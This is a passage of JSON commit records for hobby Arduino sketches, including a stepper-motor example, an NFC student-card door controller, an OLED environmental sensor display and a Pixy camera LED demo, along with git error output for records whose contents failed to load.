duino,tbowmo\/Arduino,niggor\/Arduino_cc,radut\/Arduino,shiitakeo\/Arduino,ms-iot\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gonium\/Arduino,kidswong999\/Arduino,onovy\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ikbelkirasan\/Arduino,talhaburak\/Arduino,drpjk\/Arduino,snargledorf\/Arduino,drpjk\/Arduino,henningpohl\/Arduino,vbextreme\/Arduino,plaintea\/esp8266-Arduino,arduino-org\/Arduino,nkolban\/Arduino,myrtleTree33\/Arduino,talhaburak\/Arduino,andrealmeidadomingues\/Arduino,HCastano\/Arduino,plinioseniore\/Arduino,pdNor\/Arduino,vbextreme\/Arduino,smily77\/Arduino,Ramoonus\/Arduino,Gourav2906\/Arduino,sanyaade-iot\/Arduino-1,tannewt\/Arduino,drpjk\/Arduino,jomolinare\/Arduino,nandojve\/Arduino,ashwin713\/Arduino,arunkuttiyara\/Arduino,Cloudino\/Cloudino-Arduino-IDE,drpjk\/Arduino,ari-analytics\/Arduino,ari-analytics\/Arduino,probonopd\/Arduino,snargledorf\/Arduino,gurbrinder\/Arduino,karlitxo\/Arduino,chaveiro\/Arduino,karlitxo\/Arduino,Orthogonal-Systems\/arduino-libs,weera00\/Arduino,adamkh\/Arduino,Chris--A\/Arduino,tomkrus007\/Arduino,danielchalef\/Arduino,Alfredynho\/AgroSis,stickbreaker\/Arduino,bsmr-arduino\/Arduino,noahchense\/Arduino-1,eddyst\/Arduino-SourceCode,acosinwork\/Arduino,andyvand\/Arduino-1,Cloudino\/Arduino,stickbreaker\/Arduino,stevemayhew\/Arduino,bigjosh\/Arduino,tskurauskas\/Arduino,linino\/Arduino,Ramoonus\/Arduino,gurbrinder\/Arduino,UDOOboard\/Arduino,shiitakeo\/Arduino,pdNor\/Arduino,adamkh\/Arduino,Chris--A\/Arduino,Protoneer\/Arduino,ssvs111\/Arduino,Cloudino\/Arduino,ccoenen\/Arduino,arunkuttiyara\/Arduino,me-no-dev\/Arduino-1,probonopd\/Arduino,koltegirish\/Arduino,gberl001\/Arduino,stevemarple\/Arduino-org,jabezGit\/Arduino,Ramoonus\/Arduino,xxxajk\/Arduino-1,championswimmer\/Arduino,fungxu\/Arduino,bigjosh\/Arduino,ntruchsess\/Arduino-1,stevemarple\/Arduino-org,laylthe\/Arduino,cscenter\/Arduino,ashwin713\/Arduino,lulufei\/Arduino,shiitakeo\/Arduino,NicoHood\/Arduino,ms-iot\/Arduino,rcook\/DesignLab,karlitxo\/Arduino,UDOOboard\/Arduino,eeijcea\/Arduino-1,tannewt\/Arduino,KlaasDeNys\/Arduino,noahchense\/Arduino-1,chaveiro\/Arduino,spapadim\/Arduino,eduardocasarin\/Arduino,zenmanenergy\/Arduino,PeterVH\/Arduino,diydrones\/Arduino,wilhelmryan\/Arduino,wilhelmryan\/Arduino,kidswong999\/Arduino,eduardocasarin\/Arduino,paulo-raca\/ESP8266-Arduino,EmuxEvans\/Arduino,jaehong\/Xmegaduino,stevemayhew\/Arduino,eduardocasarin\/Arduino,NaSymbol\/Arduino,cscenter\/Arduino,Protoneer\/Arduino,OpenDevice\/Arduino,byran\/Arduino,weera00\/Arduino,mateuszdw\/Arduino,snargledorf\/Arduino,eeijcea\/Arduino-1,eggfly\/arduino,plaintea\/esp8266-Arduino,probonopd\/Arduino,bugobliterator\/BUAGI,mattvenn\/Arduino,steamboating\/Arduino,381426068\/Arduino,aichi\/Arduino-2,PeterVH\/Arduino,jamesrob4\/Arduino,adamkh\/Arduino,ntruchsess\/Arduino-1,acosinwork\/Arduino,jaimemaretoli\/Arduino,diydrones\/Arduino,xxxajk\/Arduino-1,stevemarple\/Arduino-org,stevemarple\/Arduino-org,fungxu\/Arduino,PaoloP74\/Arduino,scdls\/Arduino,ogferreiro\/Arduino,piersoft\/esp8266-Arduino,sanyaade-iot\/Arduino-1,bugobliterator\/BUAGI,myrtleTree33\/Arduino,Gourav2906\/Arduino,zederson\/Arduino,zaiexx\/Arduino,lulufei\/Arduino,eggfly\/arduino,andrealmeidadomingues\/Arduino,smily77\/Arduino,arunkuttiyara\/Arduino,NeuralSpaz\/Arduino,laylthe\/Arduino,ForestNymph\/Arduino_sources,ari-analytics\/Arduino,kidswong999\/Arduino,shannonshsu\/Arduino,ogahara\/Arduino,zederson\/Arduino,chaveiro\/Arduino,Chris--A\/Arduino,jabezGit\/Arduino,ssvs111\/Arduino,shiitakeo\/Arduino,majenkotech\/Arduino,damellis\/Arduino,SmartArduino\/Arduino-1,bsmr-arduino\/Arduino,zenmanenergy\/Arduino,onovy\/Arduino,ogahara\/Arduino,smily77\/Arduino,KlaasDeNys\/Arduino,paulo-raca\/ESP8266-Arduino,fungxu\/Arduino,noahchense\/Arduino-1,PaoloP74\/Arduino,ccoenen\/Arduino,paulmand3l\/Arduino,stevemarple\/Arduino-org,ForestNymph\/Arduino_sources,lukeWal\/Arduino,onovy\/Arduino,bsmr-arduino\/Arduino,tannewt\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,lukeWal\/Arduino,PeterVH\/Arduino,vbextreme\/Arduino,myrtleTree33\/Arduino,HCastano\/Arduino,wdoganowski\/Arduino,OpenDevice\/Arduino,xxxajk\/Arduino-1,diydrones\/Arduino,tomkrus007\/Arduino,ntruchsess\/Arduino-1,talhaburak\/Arduino,ari-analytics\/Arduino,ektor5\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,danielchalef\/Arduino,wayoda\/Arduino,radut\/Arduino,UDOOboard\/Arduino,HCastano\/Arduino,gonium\/Arduino,381426068\/Arduino,ashwin713\/Arduino,gberl001\/Arduino,EmuxEvans\/Arduino,ektor5\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eddyst\/Arduino-SourceCode,sanyaade-iot\/Arduino-1,jaimemaretoli\/Arduino,eggfly\/arduino,nkolban\/Arduino,chaveiro\/Arduino,arduino-org\/Arduino,ntruchsess\/Arduino-1,championswimmer\/Arduino,EmuxEvans\/Arduino,weera00\/Arduino,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,andyvand\/Arduino-1,ForestNymph\/Arduino_sources,gonium\/Arduino,henningpohl\/Arduino,paulmand3l\/Arduino,gurbrinder\/Arduino,SmartArduino\/Arduino-1,weera00\/Arduino,eggfly\/arduino,raimohanska\/Arduino,shannonshsu\/Arduino,benwolfe\/esp8266-Arduino,spapadim\/Arduino,adafruit\/ESP8266-Arduino,Orthogonal-Systems\/arduino-libs,Gourav2906\/Arduino,wdoganowski\/Arduino,stevemayhew\/Arduino,wayoda\/Arduino,ccoenen\/Arduino,jabezGit\/Arduino,byran\/Arduino,ashwin713\/Arduino,UDOOboard\/Arduino,scdls\/Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,adamkh\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,ssvs111\/Arduino,plinioseniore\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,shiitakeo\/Arduino,shannonshsu\/Arduino,championswimmer\/Arduino,andrealmeidadomingues\/Arduino,wdoganowski\/Arduino,ccoenen\/Arduino,majenkotech\/Arduino,andrealmeidadomingues\/Arduino,adamkh\/Arduino,paulo-raca\/ESP8266-Arduino,mboufos\/esp8266-Arduino,pdNor\/Arduino,Chris--A\/Arduino,mattvenn\/Arduino,rcook\/DesignLab,noahchense\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,gestrem\/Arduino,vbextreme\/Arduino,UDOOboard\/Arduino,majenkotech\/Arduino,pdNor\/Arduino,tommyli2014\/Arduino,ricklon\/Arduino,zederson\/Arduino,danielchalef\/Arduino,OpenDevice\/Arduino,Ramoonus\/Arduino,myrtleTree33\/Arduino,tommyli2014\/Arduino,steamboating\/Arduino,adamkh\/Arduino,mangelajo\/Arduino,wayoda\/Arduino,arunkuttiyara\/Arduino,onovy\/Arduino,danielchalef\/Arduino,tskurauskas\/Arduino,ashwin713\/Arduino,jaimemaretoli\/Arduino,onovy\/Arduino,zaiexx\/Arduino,bigjosh\/Arduino,ricklon\/Arduino,sanyaade-iot\/Arduino-1,ccoenen\/Arduino,bugobliterator\/BUAGI,Chris--A\/Arduino,jomolinare\/Arduino,mboufos\/esp8266-Arduino,shannonshsu\/Arduino,PeterVH\/Arduino,NaSymbol\/Arduino,odbol\/Arduino,leftbrainstrain\/Arduino-ESP8266,mc-hamster\/esp8266-Arduino,eggfly\/arduino,championswimmer\/Arduino,Cloudino\/Arduino,KlaasDeNys\/Arduino,xxxajk\/Arduino-1,stickbreaker\/Arduino,eggfly\/arduino,jomolinare\/Arduino,ogferreiro\/Arduino,spapadim\/Arduino,chaveiro\/Arduino,majenkotech\/Arduino,spapadim\/Arduino,benwolfe\/esp8266-Arduino,ssvs111\/Arduino,plinioseniore\/Arduino,arunkuttiyara\/Arduino,noahchense\/Arduino-1,gonium\/Arduino,gurbrinder\/Arduino,eduardocasarin\/Arduino,ogferreiro\/Arduino,KlaasDeNys\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,garci66\/Arduino,01org\/Arduino,mc-hamster\/esp8266-Arduino,arduino-org\/Arduino,paulo-raca\/ESP8266-Arduino,bugobliterator\/BUAGI,wilhelmryan\/Arduino,mboufos\/esp8266-Arduino,Alfredynho\/AgroSis,me-no-dev\/Arduino-1,gestrem\/Arduino,ntruchsess\/Arduino-1,tskurauskas\/Arduino,lukeWal\/Arduino,ikbelkirasan\/Arduino,nandojve\/Arduino,byran\/Arduino,probonopd\/Arduino,danielchalef\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc,cscenter\/Arduino,jmgonzalez00449\/Arduino,nandojve\/Arduino,nandojve\/Arduino,fungxu\/Arduino,superboonie\/Arduino,ektor5\/Arduino,superboonie\/Arduino,wdoganowski\/Arduino,wdoganowski\/Arduino,UDOOboard\/Arduino,linino\/Arduino,odbol\/Arduino,odbol\/Arduino,zederson\/Arduino,aichi\/Arduino-2,ntruchsess\/Arduino-1,PaintYourDragon\/Arduino,garci66\/Arduino,gberl001\/Arduino,gestrem\/Arduino,tomkrus007\/Arduino,myrtleTree33\/Arduino,381426068\/Arduino,lulufei\/Arduino,NicoHood\/Arduino,ikbelkirasan\/Arduino,odbol\/Arduino,odbol\/Arduino,tskurauskas\/Arduino,rodibot\/Arduino,xxxajk\/Arduino-1,cscenter\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jmgonzalez00449\/Arduino,ForestNymph\/Arduino_sources,plaintea\/esp8266-Arduino,me-no-dev\/Arduino-1,KlaasDeNys\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,talhaburak\/Arduino,andyvand\/Arduino-1,mc-hamster\/esp8266-Arduino,mattvenn\/Arduino,probonopd\/Arduino,plinioseniore\/Arduino,SmartArduino\/Arduino-1,HCastano\/Arduino,shiitakeo\/Arduino,NeuralSpaz\/Arduino,piersoft\/esp8266-Arduino,byran\/Arduino,NeuralSpaz\/Arduino,laylthe\/Arduino,talhaburak\/Arduino,gonium\/Arduino,jomolinare\/Arduino,ntruchsess\/Arduino-1,scdls\/Arduino,gurbrinder\/Arduino,me-no-dev\/Arduino-1,NaSymbol\/Arduino,bugobliterator\/BUAGI,mangelajo\/Arduino,cscenter\/Arduino,eeijcea\/Arduino-1,andrealmeidadomingues\/Arduino,nkolban\/Arduino,ikbelkirasan\/Arduino,wayoda\/Arduino,lukeWal\/Arduino,ccoenen\/Arduino,jmgonzalez00449\/Arduino,linino\/Arduino,zaiexx\/Arduino,superboonie\/Arduino,drpjk\/Arduino,koltegirish\/Arduino,lukeWal\/Arduino,ricklon\/Arduino,zaiexx\/Arduino,danielchalef\/Arduino,Alfredynho\/AgroSis,koltegirish\/Arduino,radut\/Arduino,paulo-raca\/ESP8266-Arduino,stevemayhew\/Arduino,tannewt\/Arduino,kidswong999\/Arduino,PaoloP74\/Arduino,HCastano\/Arduino,acosinwork\/Arduino,damellis\/Arduino,garci66\/Arduino,linino\/Arduino,jaimemaretoli\/Arduino,rcook\/DesignLab,arunkuttiyara\/Arduino,stevemayhew\/Arduino,tbowmo\/Arduino,mattvenn\/Arduino,garci66\/Arduino,leftbrainstrain\/Arduino-ESP8266,shannonshsu\/Arduino,piersoft\/esp8266-Arduino,ogahara\/Arduino,SmartArduino\/Arduino-1,onovy\/Arduino,ektor5\/Arduino,jaehong\/Xmegaduino,ForestNymph\/Arduino_sources,Cloudino\/Arduino,tomkrus007\/Arduino,toddtreece\/esp8266-Arduino,OpenDevice\/Arduino,talhaburak\/Arduino,lukeWal\/Arduino,superboonie\/Arduino,radut\/Arduino,mateuszdw\/Arduino,odbol\/Arduino,Gourav2906\/Arduino,fungxu\/Arduino,andrealmeidadomingues\/Arduino,ogferreiro\/Arduino,HCastano\/Arduino,ari-analytics\/Arduino,adafruit\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,damellis\/Arduino,mboufos\/esp8266-Arduino,pdNor\/Arduino,drpjk\/Arduino,tomkrus007\/Arduino,PaintYourDragon\/Arduino,OpenDevice\/Arduino,01org\/Arduino,tbowmo\/Arduino,bugobliterator\/BUAGI,NaSymbol\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,bigjosh\/Arduino,karlitxo\/Arduino,scdls\/Arduino,me-no-dev\/Arduino-1,stickbreaker\/Arduino,jaej-dev\/Arduino,wayoda\/Arduino","old_file":"build\/shared\/examples\/9. USB (Leonardo only)\/KeyboardAndMouseControl\/KeyboardAndMouseControl.ino","new_file":"build\/shared\/examples\/9. USB (Leonardo only)\/KeyboardAndMouseControl\/KeyboardAndMouseControl.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b9e1cfdd323bc7362e2f53ab9d25da240529402a","subject":"new stepper example","message":"new stepper example\n","repos":"MicroBahner\/MobaTools,MicroBahner\/MobaTools","old_file":"examples\/_Stepper\/back_ForthStepperPause\/back_ForthStepperPause.ino","new_file":"examples\/_Stepper\/back_ForthStepperPause\/back_ForthStepperPause.ino","new_contents":"\/* Example for MobaTools\n Moving a stepper back and forth\n*\/\n#include <MobaTools.h>\n\n\/\/ Adjust pins, steps and time as needed\nconst byte stepPin = 9;\nconst byte dirPin = 8;\nconst int stepsPerRev = 800; \/\/ Steps per Revolution ( example with 1\/4 microsteps )\nconst long targetPos = 1600; \/\/ stepper moves between 0 and targetpos\nlong nextPos;\n\n\nMoToStepper myStepper ( stepsPerRev, STEPDIR );\nMoToTimer pause; \/\/ Pause between stepper moves\nbool stepperRunning;\n\nvoid setup() {\n myStepper.attach( stepPin, dirPin );\n myStepper.setSpeed( 600 ); \/\/ 60 Rev\/Min ( if stepsPerRev is set correctly )\n myStepper.setRampLen( 200 );\n stepperRunning = true;\n}\n\nvoid loop() {\n if ( stepperRunning ) {\n \/\/ Wait till stepper has reached target, then set pause time\n if ( !myStepper.moving() ) {\n \/\/ stepper has reached target, start pause\n pause.setTime( 1000 );\n stepperRunning = false;\n }\n } else {\n \/\/ stepper doesn't move, wait till pause time expires\n if ( pause.expired() ) {\n \/\/ pause time expired. Start stepper in opposite direction\n if ( nextPos == 0 ) {\n nextPos = targetPos;\n } else {\n nextPos = 0;\n }\n myStepper.writeSteps( nextPos );\n stepperRunning = true;\n }\n }\n\n \/\/ The sketch is not blocked while the stepper is moving nor while it is stopped.\n \/\/ Other nonblocking tasks can be added here\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/_Stepper\/back_ForthStepperPause\/back_ForthStepperPause.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b7ca2948d9fa7b40998235f06112f271861bcfa3","subject":"Initial commit v1","message":"Initial commit v1\n","repos":"lrnzzz\/Multimedia-Technology-Lab-entrance-control","old_file":"mctlab-studentcard-3.ino","new_file":"mctlab-studentcard-3.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_NFCShield_I2C.h>\n#include <Ethernet.h>\n#include <SPI.h>\n#include <RestClient.h>\n#include <ArduinoJson.h>\n\n#define IRQ (2)\n#define RESET (3)\nint ledR = 7;\nint ledG = 6;\nint doorContact = 5;\n\nRestClient client = RestClient(\"medical-it.be\");\nAdafruit_NFCShield_I2C nfc(IRQ, RESET);\n\n\/\/global vars\nString response;\nString apiUrl = \"\/api\/mctlab\/cards\/\";\n\nconst char* studentName;\nconst char* cardNumber;\nconst char* studentBanned;\n\nvoid setup(void) {\n \/\/setup serial communications\n Serial.begin(115200);\n \n \/\/manual ip config\n byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n byte ip[] = { 192, 168, 0, 111 };\n Ethernet.begin(mac,ip);\n \n \/\/led & door contact config\n pinMode(ledG, OUTPUT);\n pinMode(ledR, OUTPUT);\n pinMode(doorContact, OUTPUT);\n\n \/\/begin nfc\n nfc.begin();\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \/\/ Set the max number of retry attempts to read from a card\n nfc.setPassiveActivationRetries(0xFF);\n \/\/ configure board to read RFID tags\n nfc.SAMConfig();\n \n Serial.println(\"Waiting for a student card\");\n}\n\nvoid loop(void) {\n \/\/RFID\n boolean success;\n uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 }; \/\/ Buffer to store the returned UID\n uint8_t uidLength; \/\/ Length of the UID (4 or 7 bytes depending on ISO14443A card type)\n String scannedUid = \"\";\n \n \/\/ Wait for an ISO14443A type cards (Mifare, etc.).\n success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, &uid[0], &uidLength);\n \n if (success) {\n for (uint8_t i=0; i < uidLength; i++) \n {\n scannedUid += uid[i], HEX;\n }\n \n \/\/convert string to char\n String fullUrl = apiUrl + scannedUid;\n char charBuf[fullUrl.length()];\n fullUrl.toCharArray(charBuf,fullUrl.length()+1);\n \n \/\/get response\n response = \"\";\n int statusCode = client.get(charBuf, &response);\n \n \/\/get response without hassle\n int firstBracket = response.indexOf('{');\n int lastBracket = response.lastIndexOf('}');\n response = response.substring(firstBracket, lastBracket+1);\n \n \/\/parse json response\n StaticJsonBuffer<200> jsonBuffer;\n \n char jsonBuf[response.length()];\n response.toCharArray(jsonBuf,response.length()+1);\n \n JsonObject& root = jsonBuffer.parseObject(jsonBuf);\n\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n }\n else {\n studentName = root[\"studentName\"];\n cardNumber = root[\"cardNumber\"];\n studentBanned = root[\"studentBanned\"];\n \n String strStudentName(studentName);\n String strCardNumber(cardNumber);\n String strStudentBanned(studentBanned);\n \n Serial.println(studentName);\n Serial.println(cardNumber);\n Serial.println(studentBanned);\n\n if(strStudentBanned == \"0\") {\n Serial.println(\"Welcome \" + strStudentName +\"!\");\n Serial.println();\n \n digitalWrite(ledG, HIGH);\n digitalWrite(doorContact, HIGH);\n delay(3000);\n digitalWrite(ledG, LOW);\n digitalWrite(doorContact, LOW);\n }\n else {\n Serial.println(\"Sorry \" + strStudentName + \" , geen toegang.\");\n \n for (int i=0; i < 8; i++){\n digitalWrite(ledR, HIGH);\n delay(100);\n digitalWrite(ledR, LOW);\n delay(100);\n } \n }\n }\n }\n else\n {\n Serial.println(\"Timed out waiting for a card\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mctlab-studentcard-3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29bea0431d25e7ec7d9cfb2f1484816697c983e5","subject":"add capteur script V0 with OLED","message":"add capteur script V0 with OLED\n","repos":"pihito\/Arduino,pihito\/Arduino,pihito\/Arduino,pihito\/Arduino","old_file":"capteur_full_oled\/capteur_full_oled.ino","new_file":"capteur_full_oled\/capteur_full_oled.ino","new_contents":"#include \"U8glib.h\" \/\/for OLED I2C Screen\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include <dht.h>\n\n\/\/DHT sur digital pin 3 \n\/\/gaz sur Analog pin 0\n\n#define DHT22_PIN 3\n#define MQ135_PIN 0\n\ndht DHT;\nconst int SCR_TEMP = 0; \nconst int SCR_HUM = 1;\nconst int SCR_GAZ = 2;\nfloat screenValue[3];\n\n\/* SLboat Add Device *\/\nU8GLIB_SH1106_128X64 u8g(U8G_I2C_OPT_NONE);\t\/\/ I2C 128x64(col2-col129) SH1106,Like HeiTec 1.3' I2C OLED \n\nvoid draw(void) {\n int base_line = 22;\n \/\/ graphic commands to redraw the complete screen should be placed here \n u8g.setFont(u8g_font_unifont);\n \/\/u8g.setFont(u8g_font_osb21);\n u8g.setPrintPos(0,base_line);\n u8g.print(\"temp: \" );\n u8g.print(screenValue[SCR_TEMP],1 );\n u8g.setPrintPos(0,base_line+19);\n u8g.print(\"Hum: \" );\n u8g.print(screenValue[SCR_HUM],1 );\n u8g.setPrintPos(0,base_line+19*2);\n u8g.print(\"gaz: \" );\n u8g.print(screenValue[SCR_GAZ],1 );\n}\n\nvoid printDHTError(int chk)\n{\n switch (chk) {\n case DHTLIB_ERROR_CHECKSUM:\n Serial.print(\"Checksum error,\\t\");\n break;\n case DHTLIB_ERROR_TIMEOUT:\n Serial.print(\"Time out error,\\t\");\n break;\n case DHTLIB_ERROR_CONNECT:\n Serial.print(\"Connect error,\\t\");\n break;\n case DHTLIB_ERROR_ACK_L:\n Serial.print(\"Ack Low error,\\t\");\n break;\n case DHTLIB_ERROR_ACK_H:\n Serial.print(\"Ack High error,\\t\");\n break;\n default:\n Serial.print(\"Unknown error,\\t\");\n break;\n }\n\n}\nvoid refreshDHT()\n{\n Serial.print(\"DHT22, \\t\");\n int chk = DHT.read22(DHT22_PIN);\n float fHum = 0;\n float fTemp = 0;\n if (chk == DHTLIB_OK)\n {\n screenValue[SCR_HUM] = DHT.humidity;\n screenValue[SCR_TEMP] = DHT.temperature;\n Serial.print(\"temp : \");\n Serial.println(screenValue[SCR_TEMP],1);\n Serial.print(\"Hum : \");\n Serial.println(screenValue[SCR_HUM],1); \n }\n else\n {\n screenValue[SCR_HUM] = 0;\n screenValue[SCR_TEMP] = 0;\n printDHTError(chk);\n }\n}\n\nvoid refreshGaz()\n{\n screenValue[SCR_GAZ] = analogRead(MQ135_PIN);\n Serial.print(\"gaz : \");\n Serial.println(screenValue[SCR_GAZ],1);\n}\n\nvoid refreshPIR()\n{\n Serial.print(\"PIR : \");\n int state = digitalRead(4);\n if(state) {\n digitalWrite(5,HIGH);\n Serial.println(\"active\");\n }\n else {\n digitalWrite(5,LOW);\n Serial.println(\"spleep\");\n }\n \n \n \n}\nvoid setup(void) {\n \n Serial.begin(115200);\n Serial.println(\"dht22_test.ino\");\n Serial.print(\"LIBRARY VERSION: \");\n Serial.println(DHT_LIB_VERSION);\n \n \/\/ flip screen, if required\n \/\/ u8g.setRot180();\n \n \/\/ set SPI backup if required\n \/\/u8g.setHardwareBackup(u8g_backup_avr_spi);\n\n \/\/ assign default color value\n if ( u8g.getMode() == U8G_MODE_R3G3B2 ) {\n u8g.setColorIndex(255); \/\/ white\n }\n else if ( u8g.getMode() == U8G_MODE_GRAY2BIT ) {\n u8g.setColorIndex(3); \/\/ max intensity\n }\n else if ( u8g.getMode() == U8G_MODE_BW ) {\n u8g.setColorIndex(1); \/\/ pixel on\n }\n else if ( u8g.getMode() == U8G_MODE_HICOLOR ) {\n u8g.setHiColorByRGB(255,255,255);\n }\n \n pinMode(4, INPUT); \n pinMode(5, OUTPUT);\n}\n\nvoid loop(void) {\n \/\/ picture loop\n u8g.firstPage(); \n do {\n refreshDHT(); \n refreshGaz();\n refreshPIR();\n draw();\n } while( u8g.nextPage() );\n \n \/\/ rebuild the picture after some delay\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'capteur_full_oled\/capteur_full_oled.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"eb8608dda0ac2fad2dd893270b4747b3d2da1cb0","subject":"Added #defines for various services","message":"Added #defines for various services","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"ATMega\/TestUPODv5_Integrated_Bridge.ino","new_file":"ATMega\/TestUPODv5_Integrated_Bridge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3e9d9bab9945871b712dd5ee8ebb01b47e261d41","subject":"Create pixy-dy.ino","message":"Create pixy-dy.ino","repos":"hpssjellis\/pixy-spark-core-rover","old_file":"pixy-dy.ino","new_file":"pixy-dy.ino","new_contents":"\/\/ By Jeremy Ellis\n\n\/\/ Note: Watch the RGB LED at startup.\n\/\/ If it quickly goes to breathing cyan, you have Wifi connectivity\n\/\/ If it takes 20 seconds to go to breathing cyan, then you have no Wifi connectivity but the Pixy should still work\n\nSYSTEM_MODE(SEMI_AUTOMATIC); \/\/ so that connectivity is not blocking\n\nint myConnect = 0; \/\/ means neighter connected or disconnected yet\n\n\n\nint myD7 = D7; \/\/ to test if wifi is working\n\n\n\/\/ #include \"SPI.h\" \/\/ got rid of this since it would not compile\n#include \"Pixy.h\"\n#include \"TPixy.h\"\n\n\n\/\/ Not sure how to flash new code so will not do this yet.\n\/\/SYSTEM_MODE(MANUAL); \/\/ Set the system mode to manual. We don't need the cloud for this code\n\n\nPixy pixy; \/\/ Create our pixy object\n\n\/\/ Setup - Runs Once @ Startup\nvoid setup() { \n\n pinMode(myD7, OUTPUT); \n Spark.connect(); \/\/attempt to connect to Wifi\n\n delay(20000); \/\/ wait 20 seconds at startup\n\n\n if (WiFi.ready()){ \n myConnect = 1; \/\/ means wifi got connected\n } else {\n Spark.disconnect(); \n WiFi.off();\n myConnect =2; \/\/ means no wifi cloud connectivity\n \/\/ digitalWrite(D7,HIGH); \/\/ D7 high says no wifi but spark working fine.\n } \n \n \n RGB.brightness(1); \/\/ 1=very low light, 255 = max\n\n Serial.begin(9600); \/\/ Initalize the USB Serial port\n pixy.init(); \/\/ Initalize the pixy object\n}\n\n\/\/ Loop - Runs over and over\nvoid loop(){ \n \n \n\n uint16_t blocks; \/\/ Create an unsigned int to hold the number of found blocks\n char buf[50]; \/\/ Create a buffer for printing over serial\n int myPixyInt, myWait, myWait2, i;\n\n blocks = pixy.getBlocks(); \/\/ Do the pixy stuff. Grab the numbers of blocks the pixy finds\n \n \/\/ If we have some blocks increment the frame counter (i) and if enough frames have passed print out data about the found blocks to the serial port\n if (blocks) {\n \n \n \n \/\/ for serial USB printing of the information every 25th loop\n \n \/*\n i++;\n if (i%25==0)\n {\n sprintf(buf, \"Detected %d:\\n\", blocks);\n Serial.print(buf);\n for (int j = 0; j < blocks; j++)\n {\n sprintf(buf, \"\\tblock %d:\", j);\n Serial.print(buf); \n pixy.blocks[j].print();\n Serial.println();\n }\n }\n\n *\/\n \n \n myPixyInt = pixy.blocks[0].x; \/\/ x location of the main object 0 - 320\n\n \/\/ myPixyInt = pixy.blocks[0].y;\n \/\/ myPixyInt = pixy.blocks[0].width;\n \/\/ myPixyInt = pixy.blocks[0].height;\n \n \n myWait = myPixyInt;\n \/\/ myWait = blocks * 3; \/\/ if you want to see how many objects Pixy has detected x 3\n \n if (myPixyInt <= 10) { \n digitalWrite(D7, LOW); \/\/ If Pixy sees nothing D7 LED off\n } \n \n \n if (myPixyInt > 10 && myPixyInt <= 100) { \/\/ Object on the far left, blink really fast\n digitalWrite(D7, HIGH); \n delay(5); \n digitalWrite(D7, LOW); \n delay(5);\n } \n \n \n if (myPixyInt > 100 && myPixyInt <= 200) { \/\/ Object on near middle, blink slow\n digitalWrite(D7, HIGH); \n delay(100); \n digitalWrite(D7, LOW); \n delay(100);\n } \n \n \n if (myPixyInt > 200 && myPixyInt <= 300) { \/\/ Object on Right, blink really slow\n digitalWrite(D7, HIGH); \n delay(1000); \n digitalWrite(D7, LOW); \n delay(1000);\n } \n \n \n if (myPixyInt > 300 ) { \/\/ Object on far right, leave LED on\n digitalWrite(D7, HIGH); \n } \n\n \n delay(5); \/\/ just for the heck of it slow things down a bit\n } \/\/ end blocks\n} \/\/ end loop\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pixy-dy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fa7c137efacae15c664f057d2e5a84b9c6ffa51","subject":"Updated YunSerialTerminal","message":"Updated 